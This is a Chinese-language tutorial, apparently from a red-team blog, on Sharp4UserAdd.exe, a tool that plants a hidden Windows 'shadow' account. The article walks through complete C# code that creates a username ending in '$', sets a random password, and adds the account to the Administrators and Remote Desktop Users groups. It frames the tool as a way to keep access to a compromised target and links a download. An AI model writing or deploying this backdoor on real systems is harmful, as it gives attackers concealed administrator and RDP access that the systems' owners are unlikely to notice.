影子账户
在 Windows 操作系统中,影子用户通常是指那些不易被普通用户或系统管理员察觉的隐藏用户账户,创建影子用户常见的做法是在用户名后面添加 $ 符号,例如,admin$。通过这种方式创建的用户不会显示在 Windows 登录界面或用户控制面板中,因此常用于维持目标权限阶段。
基本用法
Sharp4UserAdd.exe 是一款用于创建Windows系统影子账户的工具,用法上非常简单明了,只需给工具增加一个指向用户名的参数,密码会自动随机生成。具体命令行如下所示。
.\Sharp4UserAdd.exe Ivan1ee1
运行命令后可见自动创建了影子用户Ivan1ee1$,并且自动分配一个随机的密码,进一步可以通过命令 net user Ivan1ee1$ 看到用户详细信息。
下面我们将详细介绍Sharp4UserAdd.exe的原理和实现,并结合具体代码进行解读分析。
核心原理
在Windows系统中,使用System.DirectoryServices命名空间可以方便地管理用户和组。通过DirectoryEntry类,我们可以访问和操作本地计算机的用户和组。工具的核心功能是创建一个新用户,将其添加到Administrators和Remote Desktop Users组中,并将其设置为影子账户。
1.创建用户
在.NET中我们可以通过创建一个DirectoryEntry对象访问本地计算机的目录服务,具体实现代码如下所示。
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
这里使用WinNT协议,该协议出现在Windows NT 4.0 及更高版本的计算机或域中的目录服务,专用于访问和管理 Windows 网络中的资源,包括本地用户和组、远程计算机上的用户和组、以及域用户和组。具体协议格式如下所示
WinNT://<主机名>/<对象类型>/<对象名称>
<主机名>:表示目标计算机的名称,可以是本地计算机或远程计算机。<对象类型>:表示目录对象的类型,如 computer、user、group 等。<对象名称>:表示目录对象的名称,如用户名或组名。比如访问本地test用户,在.NET中可以使用如下代码
DirectoryEntry localUser = new DirectoryEntry("WinNT://" + Environment.MachineName + "/User/username");
然后使用DirectoryEntry 实例化之后对象Children.Add方法添加一个新的系统用户对象,具体代码如下所示。
string user = args[0];
string username = user + "$";
string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
Random randrom = new Random((int)DateTime.Now.Ticks);
string password = "";
for (int i = 0; i < 10; i++)
{
password += chars[randrom.Next(chars.Length)].ToString();
}
DirectoryEntry NewUser = AD.Children.Add(username, "user");
NewUser.Invoke("SetPassword", new object[]
{
password
});
NewUser.CommitChanges();
其中username是新用户的用户名,以$符号结尾,如前文所述在 Windows中,使用 $ 结尾的用户名通常不会显示在操作系统的用户列表中,因此这样的账户很难被发现,可以有效地隐藏账户,增加其隐蔽性。通过Invoke调用SetPassword方法设置新用户密码,最后使用CommitChanges方法保存新添加的系统账户。
2.将用户添加到组
我们需要将新创建的系统用户分别添加到Administrators组和Remote Desktop Users组,这样用户就具备了超级管理员和远程登录的权限。所以首先得查找名为Administrators的组。如果找到该组(即flag2为true),则将新用户添加到该组中。实现代码如下所示。
DirectoryEntry grp = AD.Children.Find("Administrators", "group");
bool flag2 = grp != null;
if (flag2)
{
grp.Invoke("Add", new object[]
{
NewUser.Path.ToString()
});
}
NewUser.Path返回用户对象的完整路径,用于标识该用户在DirectoryEntry目录中的位置,路径格式一般这样表示的:WinNT://<machinename>/User/<username>。同理最后通过如下代码将用户添加到Remote Desktop Users组</username></machinename>
grp = AD.Children.Find("Remote Desktop Users", "group");
bool flag3 = grp != null;
if (flag3)
{
grp.Invoke("Add", new object[]
{
NewUser.Path.ToString()
});
}
加入该组后创建的新用户便可以通过RDP连接远程计算器进行管理和操作。
小结
综上,Sharp4UserAdd.exe 是一款用于在 Windows 系统中创建隐藏影子账户的工具,通过在用户名后面添加 $ 符号,创建影子账户从而提高了账户的隐蔽性。原理上通过使用 DirectoryEntry 类和 WinNT 协议接口,在本地计算机上创建新用户并将其添加到系统的 Administrators 组和 Remote Desktop Users 组,具备管理员权限和远程桌面访问权限,方便红队持续维持目标权限。
- Sharp4UserAdd.rar 下载